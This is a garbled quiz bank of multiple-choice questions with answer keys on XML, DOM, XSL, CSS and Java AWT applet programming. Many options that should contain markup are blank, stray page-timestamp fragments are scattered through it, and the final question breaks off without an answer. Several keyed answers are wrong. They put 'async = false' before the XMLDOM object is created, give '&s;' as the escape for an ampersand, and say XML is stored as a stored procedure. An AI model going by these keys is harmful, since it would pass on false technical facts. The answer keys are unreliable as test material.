Which of the following browsers support XML document processing?

Options

1. Internet Explorer 5

2. Mozaic

3. Netscape 4.7

4. DynaNext

Correct Answer :-> 1

Which one of the following options is the main object interface for an XML document file?

Options

1. The Document object interface.

2. The Node object interface.

3. The NodeList object interface.

4. The parseError object interface.

Correct Answer :-> 1

If the following code segments were to be put together to form a single XML code, which code segment should come first?

Options

1. myxmldoc.async = false

2. myxmldoc.load("employee.xml")

3. Set newElement = myxmldoc.createElement("department")

4. Set myxmldoc = CreateObject ("Microsoft.XMLDOM")

Correct Answer :-> 1

Which property of the XMLDOMDocument has the default value as false?

Options

1. async

2. preserveWhiteSpace

3. validateonParse

4. readyState

Correct Answer :-> 2

You are creating an XML document. What will be the value of the Child node if the current node does not have a child node?

Options

1. None

2. Null

3. Zero

4. One

Correct Answer :-> 2

Which object should you use to manipulate child nodes in an XML document?

Options

1. XMLDOMNodeList

2. XMLDOMNameNodeMap

3. XMLDOMDocument

4. XMLDOMNode

Correct Answer :-> 4

Identify the resource that is contained inside the extended link element.

Options

1. Remote Resource

2. Local Resource

3. Sub Resource

4. Participating Resource

Correct Answer :-> 2

What is the correct syntax to define a document type declaration?

Options

1.

2.

3.

4.

Correct Answer :-> 2

Identify the attribute that provides a way for document developers to pass information about a link and its resources to the

processing document.

Options

1. ROLE

2. LINK

3. HREF

4. SHOW

Correct Answer :-> 1

Which one of the following options is not used by an XML dynamic data server?

Options

1. a PHP Page

2. an HTML Web Page

3. an ASP Page

4. a Java Servlet

Correct Answer :-> 2

Mary has written the following line of XML code: . What is the name of the element?

Options

1. a

2. b

3. ab

4. a b

Correct Answer :-> 1

What is the protocol used for exchanging XML based messages?

Options

1. OAGIS

2. SOAP

3. RosettaNet

4. OASIS-ebXML

Correct Answer :-> 2

Which is the most popular language used for developing XML?

Options

1. JavaScript

2. VBScript

3. Java

4. C++

Correct Answer :-> 3

Identify the tag used to place any descriptive information in a Web document.

Options

1. Meta tag

2. Anchor tag

3. Paragraph tag

4. Blockquote tag

Correct Answer :-> 1

Name the XML stylesheet language, which can transform documents into another XML or HTML document.

Options

1. XMLS

2. XMLT

3. XSLT

4. CSS

Correct Answer :-> 3

Identify the scripting language that links Web pages to back-end databases.

Options

1. ASP

2. CDF

3. CML

4. WML

Correct Answer :-> 1

Which is the main governing body that sets and monitors XML and HTML standards for the World Wide Web?

Options

1. ISO

2. The World Wide Web (W3C)

3. www.Oasis-open.org

4. www.devx.com

Correct Answer :-> 2

Which one of the following options is used to indicate that an element will occur either zero or one time?

Options

1. *

2. |

3. +

4. ?

Correct Answer :-> 4

What type of formatting is represented in the code?

Options

1. Block formatting object template

2. Sequence formatting object template

3. Inline-box formatting object template

4. Graphic formatting object template

Correct Answer :-> 2

Which one of the following options represents a piece of markup language that gives instructions to the software and interprets

an XML document?

Options

1. prolog

2. parameter entity

3. processing instruction

4. physical structure

Correct Answer :-> 3

Which W3C specification allows the conversion of one XML document to another?

Options

1. XLINK

2. SGML

3. SIML

4. XSLT

Correct Answer :-> 4

Which one of the following processing instructions should be included in the document in the case of a relationship with the

document itself?

Options

1.

2.

3.

4.

Correct Answer :-> 3

Which one of the following options is used to create XML entity references?

Options

1. a question mark (?) and an ampersand (&).

2. a colon (:) and an ampersand (&).

3. an ampersand (&) and a semicolon(;).

4. a question mark (?) and an exclamation mark (!).

Correct Answer :-> 3

What are the major CDF elements?

Options

1. AUTHOR, ITEM, COPYRIGHT, LOGO

2. CHANNEL, ITEM, SCHEDULE, LOGO

3. TITLE, ABSTRACT, SCHEDULE, LOGO

4. CHANNEL, LASTMODE, SCHEDULE, LOGO

Correct Answer :-> 2

Identify the second attribute in the following code: .

Options

1. A

2. b

3. Ab

4. c

Correct Answer :-> 4

Identify the symbol used to refer to a parameter entity in a DTD declaration.

Options

1. &

2. %

3. |

4. #

Correct Answer :-> 2

What is the term used to describe the data consisting of characters processed by an XML processor?

Options

1. field data

2. record data

3. meta data

4. parsed data

Correct Answer :-> 4

Name the specialized text editor that is designed to simplify the creation of XML DTDs and documents.

Options

1. XML editor

2. VI editor

3. Tdtd

4. CLIP

Correct Answer :-> 1

How is an XML document stored in a relational database?

Options

1. as a Trigger

2. as a stored procedure

3. as a view

4. as a series of tracked sessions

Correct Answer :-> 2

Identify the correct syntax used to include multiple property-value combinations in a style rule.

Options

1. h2 {color: blue; font-family: Arial}

2. h2 {color: blue font-family: Arial}

3. h2 {color: blue, font-family: Arial}

4. h2 {color: blue | font-family: Arial}

Correct Answer :-> 1

How many root elements can an XML document contain?

Options

1. One

2. Two

3. Three

4. Four

Correct Answer :-> 1

Which position descriptor is used to specify elements that have one or more element siblings of the same type?

Options

1. not-only-of-type

2. not-only-of-any

3. not-last-of-type

4. not-first-of-type

Correct Answer :-> 1

Which one of the following statement describes a well-formed XML document?

Options

1. A document with several elements arranged at the same level.

2. A document in which the contents of each node have the same data type as the document schema.

3.

An HTML document with

elements.

4. A document with a root element and all other elements contained within the root.

Correct Answer :-> 4

Which one of the following functions can you perform using CSS?

Options

1. Create a table of contents of XML documents.

2. Extract data from an XML document.

3. Display XML documents on a Web browser.

4. Create data records in an XML document.

Correct Answer :-> 3

You need to define a template in the XSL style sheet to display the roll numbers contained in the student element using the

color blue. Which code segment should you use?

Options

1.

2.

3.

4.

Correct Answer :-> 2

Which term in the XSL terminology is used to specify the element or attribute in the XML document to be formatted?

Options

1. Pattern

2. Construction rule

3. Action

4. Root rule

Correct Answer :-> 1

Which one of the following is NOT a commonly used XML application to manipulate XML documents?

Options

1. XML Editor

2. XML Browser

3. XML Document

4. XML Processor

Correct Answer :-> 3

You want to sort your XML document. Which one of the following options should you use to specify the xsl:sort elements?

Options

1. xsl:apply-templates and xsl:for-each

2. xsl:template match and xsl:apply-templates

3. xsl:value-of and xsl:for-each

4. xsl:value-of and xsl:apply-templates

Correct Answer :-> 1

Which one of the following formats should you use to process instructions in an XML file?

Options

1.

2.

3. <: xml version="1.0" :>

4.

Correct Answer :-> 1

Identify the name-value pair that is associated with an element and provides more information about the content of that

element.

Options

1. attribute declaration

2. attribute

3. application

4. attribute-list declaration

Correct Answer :-> 2

How should you represent an unparsed entity in XML?

Options

1. As a text

2. As a boilerplate text

3. As a graphic

4. As a node

Correct Answer :-> 3

Name the parameter of the processingInstruction method defined in the DocumentHandler interface.

Options

1. target

2. start

3. atts

4. length

Correct Answer :-> 1

Which file type represents a descriptive markup language?

Options

1. RTF

2. HTML

3. TXT

4. JSP

Correct Answer :-> 2

You need to specify the flow objects to be constructed when a particular element type is encountered. Which instruction in an

XSL stylesheet should you use?

Options

1. element construction rule

2. element

3. element type

4. element content

Correct Answer :-> 1

Which prototype forms the basis for creating an XSL style sheet?

Options

1. A template rule.

2. A rendering tool.

3. A CSS stylesheet.

4. An XSLT processing engine.

Correct Answer :-> 1

Name the processor that passes the complete document back to the client browser for presentation to the user.

Options

1. XSLT Processor

2. XSL Processor

3. Page Processor

4. DSSL Processor

Correct Answer :-> 1

Name the attribute that serves as an identifier for an element in an XML document.

Options

1. IDREF

2. ENTITY

3. NMTOKEN

4. ID

Correct Answer :-> 4

Which one of the following options gives a name to an entity and associates it with a replacement string or externally stored

data identified by a URL?

Options

1. entity reference

2. entity

3. entity type

4. entity declaration

Correct Answer :-> 4

Which query language is used by XML?

Options

1. XQL

2. XHTML

3. SQL for XML

4. Xquery

Correct Answer :-> 1

Which one of the following is the valid SAX enabled parser?

Options

1. XML4J

2. XML Parser

3. DTD Parser

4. Tool Parser

Correct Answer :-> 1

Identify the commonly used tool that checks an XML document against a DTD and reports its validity.

Options

1. XML Parser

2. DTD Parser

3. Tool Parser

4. Validating Parser

Correct Answer :-> 4

Which one of the following options represents a valid XML document?

Options

1. Hello, world! Stop the planet, I want to get off!

2. Hello, world! Stop the planet, I want to get off!

3. Hello, world! Stop the planet, I want to get off!

4. Hello, world! Stop the planet, I want to get off!

Correct Answer :-> 1

Look at the following code: & &. Which one of the following options is allowed in SGML element declarations but not in XML?

Options

1. &amp;

2. &

3. |NOTATION

4. |

Correct Answer :-> 1

Which proposal does not require the schema information to be included in the DTD?

Options

1. CDF

2. RFC

3. RDF

4. DCD

Correct Answer :-> 2

Which organization is responsible for developing XML Standards?

Options

1. W3C

2. WWW

3. ISO

4. Oasis-open.org

Correct Answer :-> 1

Which one of the following options is a reserved name character?

Options

1. #

2. *

3. ?

4. !

Correct Answer :-> 1

Identify the vocabulary that represents and displays genetic sequence information.

Options

1. CML

2. SMIL

3. BSML

4. VXML

Correct Answer :-> 3

Which one of the following schema is used to describe metadata for XML documents?

Options

1. CSS

2. DTD

3. XSL

4. XHTML

Correct Answer :-> 2

Which attribute binds an XML Schema document to a specific namespace?

Options

1. targetNamespace

2. elementFormDefault

3. schemaLocation

4. attributeFormDefault

Correct Answer :-> 1

Which qualifier must follow the closing parentheses to handle mixed content such as elements containing text and subelements?

Options

1. #

2. !

3. ?

4. *

Correct Answer :-> 4

What are the two instructions in XSL that allow you to conditionally process an element based on specific test conditions?

Options

1. xsl:if and xsl:choose

2. xsl:if and xsl:when

3. xsl:template and xsl:choose

4. xsl:if and xsl:template

Correct Answer :-> 1

Identify the language from which XML is derived.

Options

1. VRML

2. HTML

3. SGML

4. MathML

Correct Answer :-> 3

Which one of the following options should you use to create an XML document object using JavaScript in IE 5.0?

Options

1. var xmlDoc = ActiveXObject ("Microsoft.XMLDOM")

2. var xmlDoc = new ActiveXObject("Microsoft.XMLDOM")

3. set xmlDoc = CreateObject("Microsoft.XMLDOM")

4. set xmlDoc = Server.CreateObject("Microsoft.XMLDOM")

Correct Answer :-> 2

Which one of the following characters are treated as markup characters?

Options

1. Greater than symbol (>) , single quote ( ' ), and semicolon ( ; ).

2. Greater than symbol (>), single quote(' ), and double quotation mark (").

3. Colon symbol ( : ), single quote(' ), and double quotation mark (").

4. Colon symbol ( : ), single quote(' ), and semicolon ( ; ).

Correct Answer :-> 2

Name the attribute that enables developers to specify how a link should be activated.

Options

1. ROLE

2. ACTUATE

3. HREF

4. LINK

Correct Answer :-> 2

What is the function of XML Transviewer JavaBeans?

Options

1. To create and parse XML by using industry-standard DOM and SAX interfaces.

2. To transform or render XML into other text-based formats, such as HTML.

3. To generate Java and C++ classes to send XML data from web forms or applications.

4. To allow developers to view and tranform XML documents and data via Java components.

Correct Answer :-> 4

Which object should be used to extract error details, if the XML Parser generates an error?

Options

1. XMLError

2. ParseError

3. Error

4. parseError

Correct Answer :-> 4

Which one of the following options represents the defined DOM interfaces?

Options

1. DOMImplementation, DocumentFragment, Document, Node, NodeList, NamedNodeMap, and CharacterData

2. DOMImplementation, element, Text, EntityAttribute, ElementList, NodeList, NamedNodeMap, and CharacterData

3. EntityAttribute, ElementList, Attr, Document, Node, NodeList, NamedNodeMap, and CharacterData

4. EntityAttribute, ElementList, ElementList, NodeList, NamedNodeMap, and CharacterData

Correct Answer :-> 1

Which one of the following options is NOT a valid method of the Node Object?

Options

1. insertBefore()

2. cloneNode()

3. item()

4. hasChildNodes()

Correct Answer :-> 3

Identify the option representing the part of the DTD held in a separate resource addressed by a URL.

Options

1. extended link

2. external DTD subset

3. external entity

4. external identifier

Correct Answer :-> 2

Which one of the following is not a suitable value for a LINK attribute in XML?

Options

1. document

2. group

3. auto

4. locator

Correct Answer :-> 3

What does a DTD consist of?

Options

1. internal subset, external subset and platform specific subset

2. internal subset and external subset

3. internal subset and platform specific subset

4. external subset and platform specific subset

Correct Answer :-> 2

Name the element that is used to display the contents of an element or an attribute.

Options

1. xsl:when

2. xsl:value-of

3. xsl:apply-templates

4. xsl:choose

Correct Answer :-> 2

Which one of the following specification is used for the electronic exchange of financial data?

Options

1. OFX

2. FpML

3. CML

4. FinXML

Correct Answer :-> 1

Name the first attribute from the Namespace perspective in the following code: .

Options

1. z:a

2. z:b

3. b

4. z

Correct Answer :-> 3

What is the term used to identify elements sharing the same parent element?

Options

1. Parent

2. Children

3. Siblings

4. Nested

Correct Answer :-> 3

Which type of processing does the &xsl:apply-templates&amp;gt; element indicate?

Options

1. Restricted Processing

2. Conditional Processing

3. Recursive Processing

4. Direct Processing

Correct Answer :-> 1

Which one of the following options is an invalid element name in XML?

Options

1.

2.

3.

4.

Correct Answer :-> 2

What are the attributes of the VARIABLE element?

Options

1. NAME, FORMNAME, REF, USAGE.

2. NAME, FORMNAME, TYPE, USAGE.

3. NAME, BASEURL, TYPE, USAGE.

4. NAME, FORMNAME, TYPE, VERSION.

Correct Answer :-> 2

Which one of the following options represents the attributes of the SERVICE element that is a child of the WIDL element?

Options

1. NAME, URL, URI, DOM

2. NAME, URI, DOM

3. NAME, URL

4. URI, DOM

Correct Answer :-> 3

Which portion of W3C provides a set of fundamental interfaces that can represent any structured document, and a set of

extended interfaces needed for XML documents?

Options

1. Head

2. Title

3. Core

4. HTML

Correct Answer :-> 3

What does the abbreviation DCD stand for?

Options

1. Data Connect Descriptor

2. Document Connect Descriptor

3. Document Content Description

4. Data Content Description

Correct Answer :-> 3

Identify the representation of an XML document in which each node represents a property of the document.

Options

1. Generic identifier

2. Grove

3. Flow object

4. Element

Correct Answer :-> 2

Which one of the following options describes a valid XML document?

Options

1. A document that adheres strictly to the DTD specified in its document-type declaration.

2. A document that conforms only to the XML standard but not to any particular document-type definition.

3. A formatting document that provides information about the structure of other documents.

4. A technical document that describes the conventions and mechanisms of XML.

Correct Answer :-> 1

Which namespace is used to refer to formatting objects?

Options

1. FO

2. Fo

3. Forobj

4. FOROBJ

Correct Answer :-> 2

Which one of the following options allows you to embed scripting code in XML applications with scripting support for JScript

and VBScript?

Options

1. Apache Web server

2. Java Servlet

3. XSL

4. ASP

Correct Answer :-> 4

Which file type represents a procedural-markup language?

Options

1. RTF

2. TXT

3. HTML

4. XML

Correct Answer :-> 1

What is Extensible Stylesheet Language (XSL)?

Options

1. A linking mechanism used to create extended links in XML.

2. A text-based markup language which is used for describing the content and structure of complex documents.

3. An XML DTD that describes collections of multimedia resources that are played together in a single presentation.

4. An advanced style-sheet mechanism that provides browsers with formatting and displaying information.

Correct Answer :-> 4

Which one of the following options allows you to reuse parts of your style sheet by dividing it into named parts?

Options

1. XSL Processor

2. XML Parser

3. XSL Macro

4. Whitespace

Correct Answer :-> 3

Identify the XML linking standard that allows extended links.

Options

1. HyTime

2. XHTML link extensions

3. XML rendering standards

4. XLink

Correct Answer :-> 4

What does the abbreviation XML stand for?

Options

1. eXtended Markup Language

2. eXtensible Markup Language

3. eXtensive Markup Language

4. eXternal Markup Language

Correct Answer :-> 2

Name the tool that processes SQL queries and generates an XML result set.

Options

1. XML Processor

2. XSQL Servlet

3. Java Servlet

4. XQuery

Correct Answer :-> 3

Name the specification sheet that can be used for attaching behaviors to XML elements.

Options

1. CSS

2. XSL

3. CAS

4. SMIL

Correct Answer :-> 3

You need to create an element in the DTD. The user may or may not enter a value for this variable. Which keyword is used to

specify that the element value is optional?

Options

1. #PCDATA

2. #REQUIRED

3. #IMPLIED

4. #FIXED

Correct Answer :-> 3

Which one of the following elements has an attribute named "TIMEOUT"?

Options

1. WIDL

2. SERVICE

3. BINDING

4. META

Correct Answer :-> 2

Which of the following is used to prevent the character & from being interpreted as a special character?

Options

1. \&amp;;

2. /&;

3. "\& amp";

4. &s;

Correct Answer :-> 4

Name the interface that provides a graphical representation of an XML document.

Options

1. XML Notepad

2. XED Editor

3. Near and Far Designer

4. Visual XML

Correct Answer :-> 1

Which DTD declaration declares a tag set?

Options

1. Attribute

2. Character set

3. Entity

4. Element

Correct Answer :-> 4

Which one of the following XML objects contains the getNamedItem method?

Options

1. NamedNodeMap

2. Document

3. NodeList

4. Node

Correct Answer :-> 1

176 3:09:53 AM]

How do you close an empty tag in an XML Document?

Options

1.

2.

3.

4.

Correct Answer :-> 2

Name the element that is designed to contain a group of other elements, which describe the schedule for updating the channel

information.

Options

1. INTROURI

2. ITEM

3. SCHEDULE

4. PUBLISHER

Correct Answer :-> 3

Which non-profit, international consortium creates interoperable industry specifications based on public standards such as

XML and SGML?

Options

1. OASIS

2. W3C

3. WWW

4. ISO

Correct Answer :-> 1

Identify the format used for inserting XML tags in text to allow the extraction, translation and re-insertion of translated material.

Options

1. OpenTag

2. Translation memory exchange

3. Visual XML

4. Webbroker

Correct Answer :-> 1

Identify the tags used for marking a comment entry in an XML document.

Options

1.

2. <- - - ->

3.

4.

Correct Answer :-> 3

Which one of the following options does the code represent: ?

Options

1. an element with its attributes

2. multiple element names

3. an element with its name

4. an element with its ancestry

Correct Answer :-> 2

Identify the program that reads XML documents to check the syntax validity and make the contents available to XML

applications.

Options

1. XPointer

2. XML Document

3. XML Processor

4. XSL

Correct Answer :-> 3

What does the abbreviation DOM stand for?

Options

1. Data Object Manipulation

2. Data Object Model

3. Document Object Model

4. Document Object Manipulation

Correct Answer :-> 3

Which key should you use to apply the DTD to an XML document that resides on a local machine?

Options

1. PUBLIC

2. EXTERNAL

3. PRIVATE

4. SYSTEM

Correct Answer :-> 4

Which one of the following objects contains the createElement method?

Options

1. CharacterData

2. NamedNodeMap

3. Document

4. Element

Correct Answer :-> 3

Identify the option that can be attached to textual spans or to a region in a graphic.

Options

1. Web

2. Links

3. Anchors

4. Document

Correct Answer :-> 3

Which one of the following options represents the grammar developed by W3C for math formulas, notations, and other related

data?

Options

1. WML

2. XML

3. MathML

4. CDF

Correct Answer :-> 3

Which elements in an element tree are selected by the keyword "psibling"?

Options

1. The elements at the same level of hierarchy that appear before the location source.

2. The elements at the same level of hierarchy that appear after the location source.

3. All the elements that appear after the location source.

4. All the elements that appear before the location source.

Correct Answer :-> 1

Identify the standard interface for event based XML parsing.

Options

1. XP

2. SAX

3. SMIL

4. SHTML

Correct Answer :-> 2

Which international standard defines a transformation and style language for the processing of valid SGML documents?

Options

1. DSSL-o

2. DSSL

3. DTD

4. HyTime

Correct Answer :-> 2

Identify the advantage of XML linking over HTML linking.

Options

1. XML allows linking with the use of the tag.

2. XML allows for more complex link structures than HTML.

3. XML uses the tag to link.

4. HTML linking is more robust than XML linking.

Correct Answer :-> 2

Which one of the following options determines the layout and formatting of form content?

Options

1. Form

2. Sub-Form

3. Container

4. Content

Correct Answer :-> 3

Which one of the following options should you use to list all the elements with a specific name in the DOM?

Options

1. GetElementsByTag

2. GetElementsName

3. GetElementsByTagName

4. GetElementsByNamespace

Correct Answer :-> 3

Which section of XML is used to retain all the characters exactly as they are?

Options

1. CDATA

2.

3. Attribute

4. Element

Correct Answer :-> 1

Which type of markup language is used to describe information that will eventually be displayed to users using one or more

media?

Options

1. content-based

2. presentation-based

3. hybrid

4. hypertext

Correct Answer :-> 2

Which character is used between a URI and the fragment identifier to address a particular element within an XML document?

Options

1. URI#fragment

2. URI:fragment

3. URI|fragment

4. URI%fragment

Correct Answer :-> 1

Which attribute types are supported by XML?

Options

1. CDATA, NOTATION, ENTITY, ID, IDREF, IDREFS, NMTOKENS, NMDYNAMICTOKENS, NMDSTATICTOKENS,

VARIABLETOKENS

2. CDATA, NOTATION, ENTITY, ID, IDREF, IDREFS, NMTOKENS, NMTOKEN, Enumerated

3. CDATA, NOTATION, Enumerated, ID, IDREF, IDREFS, NMTOKENS, NMDYNAMICTOKENS, NMDSTATICTOKENS,

VARIABLETOKENS

4. CDATA, NOTATION, ENTITY, Enumerated, IDREF, IDREFS, NMTOKENS, NMDYNAMICTOKENS,

VARIABLETOKENS

Correct Answer :-> 2

Which language allows you to separate a document structure from its display?

Options

1. XML

2. WML

3. HTML

4. XQL

Correct Answer :-> 1

There are two classes: class A and class B. Class A is the superclass and class B is a subclass. Which statement best

describes the relationship between classes A and B?

Options

1. Objects of class A will include all attributes and methods of class B.

2. Objects of class B will include all attributes and methods of class A.

3. Methods in class B are always executed after similar methods in class A are executed.

4. Class A contains only attributes, while class B contains only methods.

Correct Answer :-> 2

Identify the SGML application that extends SGML capabilities to allow multimedia capabilities and advanced addressing

mechanisms.

Options

1. HyTime

2. inline link

3. DSSL-o

4. DTD

Correct Answer :-> 1

Identify the software application that checks whether the XML documents are well formed.

Options

1. validating Parser

2. XML Parser

3. Parser

4. nonvalidating parser

Correct Answer :-> 4

Which one of the following options defines a linkage between XHTML and the XML Document Object Model?

Options

1. The XML Forms Module.

2. The XML Links Module.

3. The XML Events Module.

4. The XML Pages Module.

Correct Answer :-> 3

Identify an entity that references a non-XML encoded resource.

Options

1. character entity

2. binary entity

3. external entity

4. internal entity

Correct Answer :-> 2

What is the function of a modulus operator?

Options

1. To return the remainder after dividing one number by another.

2. To print the actual code on the standard output rather than executing the code.

3. To compute the natural log.

4. To return the first argument raised to the second argument power.

Correct Answer :-> 1

Which one of the following options is used to represent a unique string representing a locale?

Options

1. locale identifier

2. ambient identifier

3. Identifier

4. ambient locale

Correct Answer :-> 1

Identify the XML element that cannot contain data.

Options

1. document element

2. child element

3. empty element

4. content element

Correct Answer :-> 3

Which set of characters is used to attach an XPointer to a URL?

Options

1. #, ?

2. ?, |

3. #, |

4. *, #

Correct Answer :-> 3

Which non-XML based stylesheet specification is used to format the visual appearance of XML documents?

Options

1. DOM

2. DSSSL

3. XSL

4. CSS

Correct Answer :-> 4

Identify the language that is used to address parts of an XML document, designed to be used by both XSLT and XPointer.

Options

1. XPATH

2. XSL

3. XSLT

4. XLINK

Correct Answer :-> 1

What are the visual effect properties of a style sheet?

Options

1. clip, overflow, visibility

2. z-index, overflow, size

3. color, background, visibility

4. clip, background, z-index

Correct Answer :-> 1

Identify the statement used to declare an external entity.

Options

1.

2.

3.

4.

Correct Answer :-> 4

You have created an XLink to join several documents into a single link. The link can also be traversed from any one of its

resources. Identify the correct XLink convention to describe the link.

Options

1. inline link

2. linking element

3. multidirectional link

4. out-of-line link

Correct Answer :-> 3

Which one of the following options is used to qualify names used in XML documents by associating them with contexts

identified by URLs?

Options

1. name token

2. notation

3. namespace

4. name

Correct Answer :-> 3

Which method uses a hash table to keep track of every string it creates, so that it can return only one string with any particular

value?

Options

1. String.intern()

2. String.extern()

3. String.compare()

4. String.equals()

Correct Answer :-> 1

Name the attribute whose value is taken from a list of declared values.

Options

1. Enumerated

2. Tokenized

3. ID

4. IDREF

Correct Answer :-> 1

Which was the first style specification language to be developed?

Options

1. FOSI

2. SMIL

3. SHTML

4. XSL

Correct Answer :-> 1

Which one of the following options is a property of the IDOMDOCUMENT object?

Options

1. DocumentType

2. DocumentElement

3. DocumentName

4. ElementType

Correct Answer :-> 2

Which is the only XML application available for describing advanced vector graphics?

Options

1. PGML

2. OTML

3. CML

4. DTD

Correct Answer :-> 1

Which is the root element in the given code segment?211415 211518

Options

1. age

2. stud name

3. stud

4. student

Correct Answer :-> 4

Which software application should you use to avoid syntax errors in an XML document?

Options

1. XML editor

2. XML style sheet

3. XML parser

4. XML browser

Correct Answer :-> 3

Which XSL element allows you to do looping in XSL?

Options

1. The element.

2. The element.

3. The element.

4. The element.

Correct Answer :-> 3

Identify the feature of CSS.

Options

1. It has its own syntax.

2. It follows the XML syntax.

3. It uses templates to specify the output structure.

4. It can be used to extract data from an XML document.

Correct Answer :-> 1

Which one of the following is an HTML presentation element?

Options

1.

2.

3.

4.

Correct Answer :-> 3

Identify the non-geographical grouping of objects.

Options

1. Exclusion Group

2. Form

3. Container Object

4. Group

Correct Answer :-> 1

Which one of the following options represents the next generation of Web Forms designed to handle interactive transactions?

Options

1. HTMLForms

2. WMLForms

3. CForms

4. XForms

Correct Answer :-> 4

Which keyword matches string data in the current character encoding?

Options

1. #PCDATA

2. CDATA

3. #IMPLIED

4. #REQUIRED

Correct Answer :-> 1

Which one of the following elements should be enclosed by the content element to hold the null value?

Options

1. Null

2.

3.

4.

Correct Answer :-> 3

You want to create a GUI using the built-in classes available in Java. Which abstract class encapsulates all the attributes of a

visual component in Java?

Options

1. Component

2. Panel

3. Container

4. Window

Correct Answer :-> 1

You want to use the CheckBox class for creating checkboxes in your applet. Identify the correct option.

Options

1. private class Checkbox extends Component implements ItemSelectable

2. public class Checkbox extends Component implements ItemSelectable

3. private class Checkbox extends ItemSelectable implements Component

4. public class Checkbox extends ItemSelectable implements Component

Correct Answer :-> 2

Sara is writing a Java applet to create an interactive user interface. She wants to accept the user input in the form of the

username and password. Which control should she use?

Options

1. The TextField control.

2. The TextArea control.

3. The Button control.

4. The Label control.

Correct Answer :-> 1

Identify the constructor for the TextArea control which will enable you to create a TextArea by specifying the width, height,

initial text and scroll bars for the control.

Options

1. TextArea(String str, String numLines, int numChars, int sBars)

2. TextArea(String str, int numLines, String numChars, int sBars)

3. TextArea(String str, int numLines, int numChars, int sBars)

4. TextArea(String str, int numLines, int numChars, String sBars)

Correct Answer :-> 3

Identify the class in the java.awt package that describes the collection of available Font and GraphicDevice objects.

Options

1. The Graphics class.

2. The GraphicsDevice class.

3. The Graphics2D class.

4. The GraphicsEnvironment class.

Correct Answer :-> 4

You are creating a Java applet. You add a button control on your applet. Which one of the following methods should you use to

change the look of the button without changing its functionality?

Options

1. The addActionListener method.

2. The getActionCommand method.

3. The addNotify method.

4. The processEvent method.

Correct Answer :-> 3

Jack has created an applet in Java. He wants to add a left-justified label to his frame. Which one of the following options

should he use?

Options

1. private static final int LEFT

2. public static final int LEFT

3. public static int LEFT

4. public static boolean LEFT

Correct Answer :-> 2

Martha wants to include a scrolling list in her Java applet. She wants the list to display 5 lines and disallow multiple item

selection. Which one of the following options should she use?

Options

1. public List(boolean multipleMode, int rows)

2. public List(int rows, boolean multipleMode)

3. public List(boolean rows, int multipleMode)

4. public List(int multipleMode, boolean rows)

Correct Answer :-> 2

Sam wants to display the message "Welcome to Sam's Site" on his applet. Which one of the following methods should he use?

Options

1. public abstract void drawString(String str, int x, int y)

2. public abstract String drawString(String str, int x, int y)

3. public abstract void drawText(String str, int x, int y)

4. public abstract String drawText(String str, int x, int y)

Correct Answer :-> 1

You want to create a set of mutually exclusive check boxes in which one and only one checkbox in the group can be selected

at a time. Which one of the following options should you use?

Options

1. CheckBoxGroup(String str, boolean on, CheckBox cbg)

2. CheckBoxGroup(String str, boolean on)

3. CheckBox(String str, boolean on, CheckBoxGroup cbg)

4. CheckBox(String str, boolean on)

Correct Answer :-> 3

You want to draw an ellipse filled with the default color in your Java applet. Which one of the following options should you use?

Options

1. void drawOval(int top, int left, int width, int height)

2. int drawOval(int top, int left, int width, int height)

3. void fillOval(int top, int left, int width, int height)

4. int fillOval(int top, int left, int width, int height)

Correct Answer :-> 3

Rick wants to add a menu to his applet. Which abstract class is the superclass of all menu-related components?

Options

1. MenuBar

2. MenuComponent

3. MenuItem

4. MenuShortcut

Correct Answer :-> 2

Mary wants to add a pop-up list of items from which the user may select the required item in her Java applet. Identify the class

she should use to accomplish this task.

Options

1. The Choice class.

2. The Checkbox class.

3. The List class.

4. The Button class.

Correct Answer :-> 1

Sam has used the Choice class to create a pop-up menu of choices in his Java applet. Which one of the following options is

the correct way of implementing the Choice class?

Options

1. Choice c = new Choice(colour.red);

2. Choice c = new Choice(color.red);

3. Choice c = new Choice(); c.add("Red");

4. Choice c = new Choice(); c.addColor("Red")

Correct Answer :-> 3

Mark has written the following code in his Java applet: List lst = new List(6, true);. Identify the correct output.

Options

1. Creates a new scrolling list initialized with no visible lines and multiple selections are not allowed.

2. Creates a new scrolling list with six visible lines and multiple selections are not allowed.

3. Creates a new scrolling list initialized to display more than 6 rows and single item can be selected at a time.

4. Creates a new scrolling list initialized to display 6 rows and multiple items can be selected at a time.

Correct Answer :-> 4

You are creating an applet which accepts the username and password for registration purposes. The user input should not be

echoed to the screen in the case of the text field used for entering a password. Identify the method signature which should be

used to indicate whether or not this text field has a character set for echoing.

Options

1. private boolean echoCharIsSet()

2. public boolean echoCharIsSet()

3. private int echoCharIsSet()

4. public int echoCharIsSet()

Correct Answer :-> 2

Harry is using a scrolling textarea in his Java applet. Identify the method which returns an integer to indicate the type of scroll

bars used.

Options

1. public int getScrollbar()

2. public int getScrollbars()

3. public int getScrollbarVisibility()

4. public int getScrollbarsVisibility()

Correct Answer :-> 3

You want to set the paint mode of the graphics context on your applet to alternate between the current color and the new

specified color. Which one of the following methods should you use?

Options

1. public abstract void getXORMode(Color c1)

2. public abstract void setXORMode(Color c1)

3. public abstract void getCOLORMode(Color c1)

4. public abstract void setCOLORMode(Color c1)

Correct Answer :-> 2

Jack wants to insert a button in his applet. Which one of the following options should he use to insert a button with the label

"Click"?

Options

1. private addButton("Click")

2. public addButton("Click")

3. private Button("Click")

4. public Button("Click")

Correct Answer :-> 4

247 3:11:37 AM]

Identify the class that implements a menu which can be dynamically displayed at a specified position within a frame on an

applet.

Options

1. The Menu class.

2. The MenuItem class.

3. The PopupMenu class.

4. The DisplayMenu class.

Correct Answer :-> 3

Mary wants to declare a variable of datatype, String in her Java program. Which one of the following options should she use?

Options

1. String variable_name = 'Mary';

2. String variable_name = "Mary";

3. String variable_name = Mary;

4. String variable_name = "Mary';

Correct Answer :-> 2

All classes in Java inherit from one general class. Identify the class.

Options

1. Object

2. System

3. Language

4. Database

Correct Answer :-> 1

Tom is writing a program in Java. He wants to declare a variable such that there is only a single copy of the variable and it is

shared by every object instantiated from the class. Which one of the following options should he use?

Options

1. Tom should declare the variable as an instance variable.

2. Tom should declare the variable as a final variable.

3. Tom should declare the variable as a static variable.

4. Tom should declare the variable as a temporary variable.

Correct Answer :-> 3

Which one of the following features of Java enables maximum portability and dynamic capability for programs written in the

Java programming language?

Options

1. Java is a compiled langauge.

2. Java is an object oriented language.

3. Java is a multithreaded language.

4. Java is an interpreted language.

Correct Answer :-> 4

The general syntax for the while statement used in Java programs is: while (expression) { statement }. Which one of the

following statements is valid?

Options

1. The while statement continually executes a block of statements while a condition remains true.

2. The while statement continually executes a block of statements while a condition remains false.

3. The while statement continues testing the expression and executing its block until the expression returns true.

4. The while statement evaluates expression, which must return an integer value.

